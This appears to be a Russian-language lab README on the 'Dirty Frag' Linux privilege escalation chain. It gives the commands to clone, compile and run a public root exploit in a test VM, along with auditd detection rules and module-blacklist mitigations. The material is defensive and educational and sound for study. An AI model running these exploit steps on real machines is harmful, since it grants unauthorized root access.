
Отчёт о Dirty Frag — цепочке уязвимостей локального повышения привилегий (LPE) в Linux, которая позволяет непривилегированному пользователю получить root-доступ.
Этот репозиторий документирует сквозное воспроизведение, разработку средств обнаружения и реагирование на инциденты для цепочки локального повышения привилегий (LPE) в ядре Linux Dirty Frag. Dirty Frag объединяет две детерминированные логические ошибки — CVE‑2026‑43284 (xfrm/ESP) и CVE‑2026‑43500 (RxRPC) — позволяя непривилегированному локальному пользователю перезаписать страничный кеш файлов, доступных только для чтения (например, /usr/bin/su), и получить root‑оболочку.
Dirty Frag — это логическая ошибка, а не повреждение памяти. Она детерминирована, затрагивает практически все дистрибутивы Linux, выпущенные с 2017 года, и является полностью бесфайловой — традиционные системы контроля целостности файлов (AIDE, Tripwire) не могут её обнаружить. Публичный PoC представляет собой один C‑файл, который объединяет оба пути: ESP и RxRPC.
| Компонент | Описание |
|---|---|
| Гипервизор | VirtualBox |
| Целевая ВМ |
Лабораторная работа начинается с подтверждения того, что на целевой системе запущено уязвимое ядро.
cat /etc/os-release | head -3
uname -r
📸 screenshots/pre_exploit_id.png — сведения о релизе Kali 2026.1 и ядре. Вывод uname -r показывает уязвимое ядро 6.18.12+kali‑amd64.
Для работы эксплойта требуются модули ядра esp4, esp6 и rxrpc.
lsmod | grep -E "esp4|esp6|rxrpc"
modinfo esp4 esp6 rxrpc 2>/dev/null | grep -E "^(name|depends)"
📸 screenshots/module_mitigation.png — lsmod и modinfo подтверждают доступность уязвимых модулей.
Python‑вариант PoC требует Python 3.10+. Проверяем интерпретатор.
python3 --version
Python 3.12 установлен и готов к работе.
Перед запуском полного эксплойта безопасный скрипт‑проверщик подтверждает уязвимость системы.
python3 poc/check_vulnerable.py
Проверщик сообщает "potentially vulnerable", открывая путь к эксплуатации.
Непривилегированная учётная запись testuser имитирует атакующего без особых прав.
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id
📸 Вывод id показывает UID 1001, что подтверждает доступ без прав root.
Официальный PoC от V4bel клонируется и компилируется из непривилегированной учётной записи.
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp
📸 screenshots/exploit_execution.png — Эксплойт перезаписывает страничный кеш /usr/bin/su и запускает повреждённый бинарный файл.
📸 screenshots/post_exploit_root.png — Вывод whoami и id подтверждает полное повышение привилегий до root.
Эксплойт повреждает только страничный кеш в памяти. /usr/bin/su на диске сохраняет исходную контрольную сумму.
sha256sum /usr/bin/su
Контрольная сумма sha256sum совпадает с исходным хэшем пакета даже после эксплуатации, что подтверждает отсутствие изменений на диске.
После запуска эксплойта страничный кеш заражён. Всегда очищайте его:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Or reboot the system
Dirty Frag нельзя обнаружить с помощью мониторинга целостности файлов. Вместо этого мы сосредотачиваемся на примитивах уровня системных вызовов, которые он использует.
Мы разворачиваем пользовательские правила auditd, которые срабатывают при:
# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=21 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read
Все пользовательские правила активны, что подтверждается командой auditctl -l.
После повторного запуска эксплойта мы видим оповещения о тех самых системных вызовах, которые использовались:
Правило Sigma преобразует результаты auditd в независимый от вендора формат SIEM.
Файл: detection/sigma/dirty_frag_exploit.yml
Правило YARA помогает идентифицировать код эксплойта Dirty Frag на диске и в памяти.
Файл: detection/yara/dirty_frag_exploit.yar
Уровень | Что видит | Статус ---|--- auditd | Сокеты AF_ALG/AF_RXRPC + системные вызовы splice + unshare | ✅ Развёрнуто Sigma | Паттерны системных вызовов через SIEM | ✅ Правило готово YARA | Код PoC на диске / в памяти | ✅ Правило готово FIM (AIDE/Tripwire) | Изменения файлов | ❌ Слепой — записи на диск не происходит
Полный отчёт о реагировании на инцидент доступен в reports/incident-dirtyfrag.md. Он включает:
Немедленное смягчение (перезагрузка не требуется):
echo "install esp4 /bin/false" | sudo tee /etc/modprobe.d/dirtyfrag.conf
echo "install esp6 /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
echo "install rxrpc /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
sudo rmmod esp4 esp6 rxrpc 2>/dev/null
⚠️ Влияние: Отключение этих модулей нарушает работу IPsec VPN и файловой системы AFS.
Готовый к использованию скрипт смягчения включён в mitigation/dirtyfrag_mitigation.sh.
Постоянное исправление: обновите ядро до пропатченной версии.
| Kali Linux 2026.1 |
| Ядро | 6.18.12+kali‑amd64 |
| PoC эксплойта | V4bel/dirtyfrag |
| Обнаружение | auditd, Sigma, YARA |